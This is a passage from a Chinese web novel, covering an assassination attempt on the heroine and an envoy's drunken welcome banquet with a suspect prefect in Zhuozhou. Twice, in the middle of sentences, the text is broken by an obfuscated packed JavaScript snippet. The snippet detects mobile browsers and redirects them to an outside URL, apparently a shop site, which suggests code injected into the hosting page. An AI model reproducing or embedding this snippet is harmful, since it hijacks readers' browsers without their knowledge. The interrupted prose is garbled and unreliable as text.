秦砚本就睡得浅,听见动静的瞬间便从床上弹了起来。 “有刺客?!” 他心头剧跳,来不及多想,披上外袍冲出门,一路狂奔向穆卿云的院子。 刀剑交击声越来越近,有火光在远处晃动。秦砚跑得跌跌撞撞,满脑子都是“保护穆小姐”。 “穆小姐!” 他一脚踹开院门,冲进屋里—— 然后愣住。 穆卿云端坐在桌边,手里捧着一盏茶,神色平静得像是在自家后花园赏月。 知微站在她身侧,手里握着一把短剑,看起来倒是比自家主子紧张得多。 听见动静,穆卿云抬眸看他,微微挑眉。 “秦大人?你怎么过来了?” 秦砚喘着粗气,额上全是汗:“我……外面有刺客,我来保护你!” 穆卿云上下看了看他。 衣衫不整,头发散乱,脚上连鞋都没穿好,光着一只脚踩在地上,另一只脚套着只快掉下来的布鞋。 这副模样,说是来逃难的还差不多。 她忍不住弯了弯唇角:“秦大人先把衣服穿好吧。” 秦砚这才发现自己有多狼狈,由于起床匆忙,衣襟大敞着,大片胸口都袒露在外,他连忙转过身去系紧衣带,耳根红得滴血。 “别怕。” 穆卿云没有半分慌乱,语气轻柔得像在哄孩子,“卫凛在外头,刺客进不来的。” 虽说有她这句话,但秦砚到底还是头一回经历这等刀光剑影的阵仗,尤其是此刻听着外面此起彼伏的厮杀声,悬着的心还是怎么也放不下来。 穆卿云把自己那盏还没动过的茶推到他面前:“喝口茶,压压惊。” 秦砚听话地端起茶盏,抿了一口,滚烫的液体滑入喉中,终于让他找回了几分安定。 “小姐,你……不怕吗?” 穆卿云沉默片刻,笑了笑。 “怕啊。可是怕有什么用?”她偏头看向窗外,“从小到大,这种场面我见得多了。习惯了,也就不那么怕了。” 秦砚心头一震,这才意识到,作为相府真正的掌权人,穆卿云看似柔弱温婉,定然也经历过无数风雨与暗潮。像这样危机四伏的时刻,她早已司空见惯,所以才会这么镇定。 最初的震惊过后,难以言喻的心疼又涌上心头。 拖着病弱之躯操劳大小事务,还要时刻提防着突如其来的明枪暗箭。 她这短短的二十一年光阴,到底经历了多少常人难以承受的磨难和煎熬? 天色微明时,卫凛坐在廊下的栏杆上,用侍卫递来的锦布擦了擦身上脸上沾染到的血迹。 院子里整整齐齐摆放着十七具黑衣刺客的尸体,暗红的血迹在地上聚成一滩刺目的水洼。 知微扶着穆卿云从院子里出来,看见门外这血腥场面,也下意识地蹙紧眉尖,轻轻偏过了头。 秦砚已经回屋重新穿好了衣裳,此时也站在穆卿云身边,脸色苍白。 卫凛收刀归鞘,从栏杆上跳下来,走到穆卿云身边道:“一共十七个刺客,全部毙命。咱们这边有五人受了些皮肉轻伤,都已妥善包扎,无性命之忧。” 穆卿云点点头,俯下身仔细查看尸体上的伤痕和衣着,问:“没有留下活口吗?” “原本是抓了一个的……” 卫凛耸了耸肩膀,“但是那人舌下藏了毒,我还没问几句呢,他就咬破毒囊自尽了。” 穆卿云看完尸体,又走到一旁去看地上那堆缴获的兵器。 “这群人虽然兵器制式混杂,但靴底沾有只有京畿皇庄才有的特殊红泥。看来幕后之人来自京城,且手眼通天,势力远比我们想象中的还要大。” 她语气平淡,似乎早有预料,“钦差仪仗刚走出京城地界他们就敢动手……要么就是背后有人撑腰,能帮他们脱罪免罚,要么就是我们这支查案的队伍,已经让他们起了忌惮之心,不惜铤而走险也要将我们截杀在半路。” 卫凛上前一步沉声问她:“那我们该怎么办?” 穆卿云抬眼望向晨光熹微下,往北延伸的官道:“那就得加快速度,先去会会这位深藏不露的涿州刺史了。” 车队一连行进了十日,终于进入了涿州地界。 途经码头,穆卿云掀开车帘一角,静静观察着河面上的繁忙景象。 漕船如织,往来商贾不断,还真是个四通八达,藏污纳垢的好地方。 涿州刺史谢永得了消息,一早便带着人在城外官道上候驾。 远远看见钦差仪仗的旗帜,他立刻满脸堆笑,躬身行礼。 “下官涿州刺史谢永,恭迎钦差大人,卫将军!” 卫凛连马都没下,懒懒地扬了扬下巴,当做打招呼。 秦砚走下马车整理了一下衣袍,上前还礼:“谢大人客气了,有劳谢大人远迎。” “哪里哪里,都是下官分内之事。钦差大人一路辛苦,驿站已经打扫干净,几位大人先安顿下来,晚上下官在城中设宴,为几位大人接风洗尘!” 说话间,谢永忍不住往那辆素帷雅致的马车上瞟了一眼。 车帘紧闭,什么都看不见。 秦砚侧身一步挡住他的视线,不动声色道:“穆小姐身体不适,不便下车,还望大人见谅。” 早就听说,相府千金体弱多病,素来深居简出,不见外人。如今看来,传言果然不假。 谢永眼珠一转,连连点头:“那是,那是,自然是小姐身子要紧。一路奔波辛苦了,诸位大人请随我进城吧。” 卫凛懒得跟他们这般做表面功夫,直接一夹马腹,率先策马进了城。 秦砚没有继续坐车,而是从侍卫手中接过一匹马,翻身上马,随着队伍缓缓进城。 涿州城比他想象中热闹。 街道宽阔,商铺林立,往来商贾络绎不绝。 他一边控马缓行,一边暗暗观察四周。 店铺招牌簇新,路面平整干净,一切看似井井有条,毫无破绽。但从谢永那副殷勤过头的做派来看,城里恐怕也早已经被清扫过一遍,所有可能露馅的痕迹大概都已经处理干净。 正想着,马车窗棂忽然被轻轻敲响。 秦砚催马靠近,俯身侧耳:“小姐?” “咳……”穆卿云轻咳一声,声音隔着帘子传来,“注意留意街边往来的闲汉和暗哨。。” 秦砚一愣,目光扫向街边。 茶棚下站着几个短打装扮的汉子,看似寻常路人,眼神却频频往车队打量,脚步散漫,却始终不远不近跟着。 他立刻就明白了穆卿云的用意,打起了十二分的精神,低声应道:“知道了。” 驿馆很快到了。 谢永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534503|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷勤地忙前忙后,安排人搬运行李,安置随从,嘴里还不停念叨着晚上宴席的安排。 卫凛抱着刀往门口一站,直接把人拦了下来。 “谢大人。” 谢永一愣,搓着手弓腰上前:“卫将军有何吩咐?” 卫凛面无表情:“我们安顿好之后,会派人去通知你。在这之前……” 他往后退了一步,挡在驿馆门口。 “大人就别往里凑了。” 谢永脸上的笑容僵了一瞬,嘴角抽了抽,但转瞬又恢复如常。 “是是是,卫将军说得对,钦差大人一路辛苦,是该好好休息。下官就在外头候着,几位大人准备好了随时吩咐!” 他连连点头,笑呵呵地退后几步,站到了驿馆大门外。转身的那一刻,脸上的笑容瞬间垮了下来。 “什么东西……” 马车终于在驿馆院子里停下。 知微掀开车帘,小心翼翼地扶着穆卿云下车。 秦砚早已候在一旁,伸手接住她递来的手。 穆卿云身子本就虚弱,又在马车上颠簸了数十日,双腿早已麻木。落地的瞬间,膝头猛地一软,身体向前倾去,但立刻就被秦砚接住了。 “小姐当心。” 被带着药香的气息扑了满怀,秦砚心里的担忧却压过了那点微不可察的悸动。 他伸手揽过穆卿云的肩膀,用身体支撑着她站稳。 穆卿云缓了缓神,轻轻借力,重新站直,对秦砚低声颔首:“失礼了。” 卫凛一进来就看见两人搂抱在一起,脸色顿时不太好看,立刻上前挤开秦砚,紧张兮兮地问:“怎么了?是不是身子不舒服?要不要找大夫来看看?” “无妨,只是在马车上坐太久了,一时腿脚发麻而已。” 穆卿云退了半步,理了理衣袖,“一路辛苦,先回房休整一下吧。” 半个时辰后,稍稍安顿的几人重新聚在穆卿云的房间。 穆卿云刚喝了药,房间里还有股残留的苦涩药味。 秦砚满眼担忧地看着她:“真的没事吗?有任何不适都要告诉我,千万别逞强。” “不会。”穆卿云摇摇头,对他露出一个安抚的笑。 卫凛抱臂站在一旁,有些不耐烦:“一会儿的接风宴怎么办?那谢永还在驿馆外头等着呢。” 穆卿云摇摇头:“我就不去了,你们去应付一下就好。” “我也不去,”卫凛撇撇嘴,不屑道,“去了又是推杯换盏,敬酒奉承那一套,我才懒得跟他们打官腔。” 秦砚看看他,又看看她:“……” 穆卿云轻笑:“这是个打探谢永底细的好机会,秦大人好好把握。” 她都这么说了,秦砚也只好应下:“好,我一个人去便是。” 转身要走时,穆卿云又叫住他,叮嘱道:“秦大人,出门在外,当着那些地方官的面,秦大人不能再唤我小姐,应该唤我夫人。” 今日在城门口时,秦砚脱口而出一句“穆小姐”,若是那谢永有心留意,此刻心里应该就有了计较,往后还是要更加谨慎才行。 “夫……夫人?” 秦砚瞪大眼睛,差点咬了自己的舌头。 穆卿云笑了笑,提醒道:“跟这群老狐狸打交道,稍有不慎就会被捏住把柄,务必要处处谨慎,记住了吗?” “记,记住了。” 光是想象了一下当着众人的面唤她夫人的场景,秦砚就已经忍不住红了耳根。 一旁的卫凛翻了个白眼,上前一巴掌拍在他肩上:“做戏也得做全套,逢场作戏懂不懂?” 秦砚被他拍得一个踉跄,耳根更红了。 19. 第 19 章 接风宴设在涿州城中最气派的酒楼,整层都被谢永包了下来。 秦砚一进门,就被眼前的阵仗惊了一瞬。 满桌珍馐,山珍海错,光是冷盘就摆了十二碟。 涿州一众官员等候多时,一见谢永带着秦砚进来,所有人齐刷刷起身。 “秦大人快请上座!” “今晚是给钦差大人接风,务必尽兴,不醉不归!” 谢永躬身哈腰,一路将他引到主位旁,“秦大人一路风尘仆仆,下官略备薄酒,不成敬意,还望大人海涵。” 秦砚推辞不过,只得在主位落座。刚坐下,谢永便使了个眼色,旁边立刻有人上前斟酒。 “来,秦大人,下官先敬您一杯!”谢永举起酒杯,“一路辛苦,这杯酒给您洗尘!” 秦砚端起酒杯,浅抿一口便要放下。 谢永却笑着按住他的手:“秦大人,这第一杯可得干了才是。咱们涿州的规矩,接风酒不干,就是不给我谢某面子。” 话说到这份上,秦砚只好仰头饮尽。 这酒烈得很,入口如刀,一杯下去,辛辣的酒气直冲天灵盖,呛得他眼眶泛红。 谢永看在眼里,拎起茶壶给他斟了杯茶。 “秦大人年纪轻轻便高中状元,被丞相大人青眼有加,如今又奉旨巡查,当真是年少有为,前途无量啊!” “大人过誉了。” 秦砚抿了口茶,这才终于压下喉间酒气,谈起正事,“谢大人,其实……我有一事请教。” 谢永笑容不变:“秦大人请讲。” “我听说幽州灾情严重,不少流民四散逃难。涿州离幽州最近,可曾受到影响?” 谢永笑得一脸坦荡:“大人放心,幽州是幽州,涿州是涿州,两不相干。我涿州境内风调雨顺,百姓安居乐业,一切都安稳如常。” 秦砚没有被他糊弄过去,继续追问:“可我沿途听说,有不少幽州流民,为避灾逃难,已进入涿州境内?” 这话一出,席间瞬间安静了一瞬。 谢永执壶的手微微一顿,马上又恢复自然,轻描淡写地道:“确有零星几户逃难而来,不过下官早已下令,悉数妥善安置,衣食住行皆有照料,绝无冻饿流离之事,大人不必挂心。” 秦砚点点头,心里却半点不信:“既是如此,那我明日想亲自去安置点看一看,心中有数,到时候也好回京复命。不知大人方不方便?” “方便!怎会不方便?” 谢永握着酒杯的手指微微收紧,侧头与身旁一名官员飞快交换了个眼色。 “秦大人心系百姓,下官佩服!明日下官便亲自陪同,带大人前往视察!” “那就好,”秦砚点点头,“那就有劳大人了。” “秦大人客气。” 谢永抚掌大笑,又朝众人使了个眼色,“都愣着干什么?还不快敬钦差大人!” 一时间,七八个官员轮番上前,举杯的举杯,奉承的奉承。 “秦大人年轻有为,真是我辈楷模!” “听说秦大人是新科状元?那学问定然是极好的!有机会定要向大人好好请教!” “秦大人此番奉旨巡查,定能造福百姓,下官钦佩!这杯酒,您一定得喝!” 秦砚推辞不过,只好一杯接一杯地喝下去。 推杯换盏间,酒意渐浓,头脑开始发昏,眼神也渐渐有些涣散。 酒过三巡,谢永见秦砚已有些许醉意,趁机凑近勾住他的肩膀,压低声音道:“秦大人,我们涿州虽比不得崇安城的繁华,但胜在民风淳朴,风光秀丽。大人难得来一趟,可得多留几日,让在下好好尽尽地主之谊!” 秦砚忽然想起穆卿云的脸,心中警铃大作,摆摆手道:“谢大人好意……在下心领了,但是要务在身,还是不便久留。” 旁边几个官员见状,立刻跟着起哄。 “我们涿州虽小,风景却好,明日我带大人去城外逛逛!那儿的山水,可比京城有野趣多了!” “还有我们这儿的特产,漕运来的新鲜鱼虾,别处可吃不着!” 秦砚被众人围在中间,退无可退。 谢永的酒杯抵在他唇边,旁边几只手举着酒壶,随时准备添上。他张了张嘴想说什么,却被一杯酒直接灌了进去。 “好!哈哈哈……秦大人海量!” 驿馆里。 看完暗桩发来的密信,穆卿云神色淡淡,抬手把信纸丢进炭盆。 知微连忙上前,把跃动着火苗的炭盆挪远了些,劝道:“小姐,时候不早了,奴婢服侍您歇息吧?” 穆卿云揉了揉眉心,问:“秦大人回来了吗?” “还没呢,”知微看了眼窗外,“刚刚派人去看过一眼,说是酒宴正酣,恐怕还要些时辰呢。” “他涉世未深,一个人恐怕应付不来那群老狐狸。” 早知道就不该让他一个人去,穆卿云有些担心,“要不,让卫凛去……” 话音未落,房门忽然被用力砸了几下,把知微吓了一跳。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538874|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐……嗝……我回来了!我有……嗝……有要事跟你禀报……” 听出是秦砚的声音,穆卿云让知微上前打开房门。 浓烈的酒气扑面而来,知微看着门外站得东倒西歪的人,忍不住道:“这是喝了多少啊?都醉成这样了。” 秦砚伸出一根手指晃了晃,“一……一点点。” 知微拧紧眉毛,扭头看向穆卿云:“小姐。” 穆卿云叹了口气:“莫要声张,去让厨房煮碗醒酒汤来。” 秦砚晕晕乎乎走到桌前坐下,只觉得胸口处燃着一把火,烧得他口干舌燥,浑身发热。 穆卿云倒了杯茶水放在他面前,问道:“秦大人跟那群官员打了个照面,可是有什么发现?” 秦砚一口喝完茶水,撂下酒杯,神秘兮兮地凑近穆卿云。 “大……大发现!” “哦?说来听听。” 穆卿云眼里浮起些许笑意,觉得这个样子的秦砚,没有了平日里的拘谨和小心翼翼,倒显得有些朴实可爱。 “我发现……那个谢永,”秦砚眯着眼睛,压低声音,“肯定是个大贪官!” 穆卿云做出惊讶状,配合地问:“何以见得?” “今晚那宴席上……有一道红焖熊掌,那么大的一只!” 秦砚忽然站起身,抡圆了手臂,比划了一个夸张的圆圈。 “就连宫里御膳房都未必舍得这么吃,他们却……嗝……司空见惯,不是贪墨得来的,还能是什么?” 穆卿云点点头:“有道理。那幽州流民的事情,你打探过了吗?” “当然!” 秦砚得意地拍拍胸脯,“那群人一看就是心里有鬼,还想……还想把我灌醉了……嗝……糊弄过去……” “没门!” 他忽然又提高嗓门,一惊一乍的,“明日我就要亲自去看看,他们休想瞒过我的眼睛!” 穆卿云弯了弯唇角,心里大概有了数。 “一会儿我让知微把醒酒汤送到大人房间,喝过之后,早点歇息吧,明日还有的忙。” 秦砚即便醉得再晕乎,也听出她是在下逐客令了。 于是他撑着桌面摇摇晃晃站起身,动作极慢地往外挪动。 “那我回房了,你……你也早点歇息。” 他一步三晃地走到门口,在即将关门的刹那,忽然壮着胆子补了一句:“……夫人。” 穆卿云挑起眉梢,惊讶地抬眸望去,看见那人落荒而逃的背影,不禁哑然失笑。